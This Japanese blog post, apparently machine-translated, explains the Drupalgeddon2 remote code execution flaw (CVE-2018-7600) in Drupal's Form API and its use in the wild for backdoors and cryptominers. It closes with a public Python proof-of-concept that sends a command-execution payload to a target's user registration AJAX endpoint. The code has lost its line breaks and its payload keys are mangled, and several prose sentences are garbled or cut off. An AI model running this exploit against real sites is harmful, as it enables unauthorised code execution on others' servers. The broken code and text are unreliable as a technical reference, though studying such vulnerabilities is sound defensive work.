Drupalgeddon2RCE-SecPodブログ

百万人以上のアクティブなウェブサイトは、Wordpressの後、世界的に二番目に使用されるコンテンツ管理システム作り、Drupalを使用しています。 2018年3月28日、Drupalはバージョン6~8のセキュリティパッチをリリースし、脆弱性(CVE-2018-7600)をリモートでコードが実行される際に重大であると警告しました。 Drupalを使用したwebサイトのスキャンと攻撃は予想どおり指数関数的に増加しましたが、この脆弱性が野生で悪用されたという報告はありませんでした。 その後、数日前、ロシアのセキュリティ研究者は、GitHubの上で概念実証(POC)エクスプロイトコードを公開し、インターネットは凶暴になりました。

搾取が蓄積され、攻撃者は暗号侵害の鉱夫やマルウェアのバックドアをインストールするためにそれを使用し始めました。 Oracle WebLogic serverの脆弱性(CVE-2017-10271)を悪用してXMRigを配信したMonero minerキャンペーンの1つが関与していると考えられています。

統計によると、Drupalgeddon2攻撃の90%は脆弱なシステムを見つけるためのスキャンに過ぎず、3%はバックドア感染の試みであり、2%は暗号マイナーを実行しようとしている。

Drupalの勧告では、「2018-04-11水曜日までにパッチが適用されていないサイトは侵害される可能性があります」と警告し、「Drupalを更新するだけではバックドアが削 あなたのサイトがすでにパッチを適用されているが、あなたがそれをしなかったことが判明した場合、それはサイトが侵害されたという症状であ 過去の一部の攻撃では、その攻撃者のみがサイトを制御できることを保証する方法として、この更新プログラムが適用されています。”

技術用語

DrupalはDrupal6でフォームAPIを導入し、フォームレンダリングプロセス中にフォームデータを変更することができました。 これは、マークアップ処理の仕組みに革命をもたらしました。 Drupal7では、フォームAPIは現在”Renderable Arrays”として知られているものに一般化されました。 この拡張APIは、ページ、ブロック、ノードなど、DrupalのほとんどのUI要素の構造を表すために使用されます。 レンダリング可能な配列には、レンダリングプロセスで使用されるメタデータが含まれています。 これらのレンダリング可能な配列は、プロパティキーがハッシュ記号(#)で始まるキーと値の構造体です。 例:

Drupalは、ハッシュ記号で始まるキーの入力配列内のすべての項目を設定解除するstripDangerousValuesメソッドを持つ単一のクラスRequestSanitizerを追加するパッチをリリースしました。 このメソッドは、Drupalのブートストラップの非常に初期の段階(サイト構成をロードした直後)に、input_GET、$_POST&$_COOKIESの入力データをサニタイズします。 このパッチがリリースされた理由は、既存の脆弱性を見つけにくくするためであると仮定することができます。

フォームに脆弱性が見つかりました。 認証を必要とせず、匿名でアクセスできるユーザー登録フォームには複数の入力フィールドが含まれており、悪用される可能性があります。

画像ソース:Checkpoint、Dofinity

レンダリング可能な配列を注入するとこの脆弱性が悪用される可能性が非常に高いですが、質問はどこですか?

結局のところ、”Email Address”フィールドは受信した入力のタイプをサニタイズしないため、renderable配列をフォーム配列構造体に注入することができました。

画像ソース:Checkpoint、Dofinity

今、私たちが必要としたのは、Drupalが注入された配列をレンダリングすることだけでした。 Drupalは注入された配列を要素としてではなく値として扱うので、Drupalをだましてレンダリングする必要がありました。 Drupalは、ページの読み込みイベントまたはDrupal AJAX APIを介して配列をレンダリングします。

ユーザー登録フォームの”Picture”フィールドは、DrupalのAJAX APIを使用して画像をアップロードし、アップロードされた画像のサムネイルに置き換えます。

概念実証(POC)

#!/usr/bin/env python3import sysimport requestsprint ('################################################################')print ('# Proof-Of-Concept for CVE-2018-7600')print ('# by Vitalii Rudnykh')print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')print ('# https://github.com/a2u/CVE-2018-7600')print ('################################################################')print ('Provided only for educational or information purposes\n')target = input('Enter target url (example: https://domain.ltd/): ')# Add proxy support (eg. BURP to analyze HTTP(s) traffic)# set verify = False if your proxy certificate is self signed# remember to set proxies both for http and https# # example:# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# verify = Falseproxies = {}verify = Trueurl = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail': 'exec', 'mail': 'markup', 'mail': 'echo ";-)" | tee hello.txt'}r = requests.post(url, proxies=proxies, data=payload, verify=verify)check = requests.get(target + 'hello.txt', verify=verify)if check.status_code != 200: sys.exit("Not exploitable")print ('\nCheck: '+target+'hello.txt')

コメントを残す

メールアドレスが公開されることはありません。

Related Posts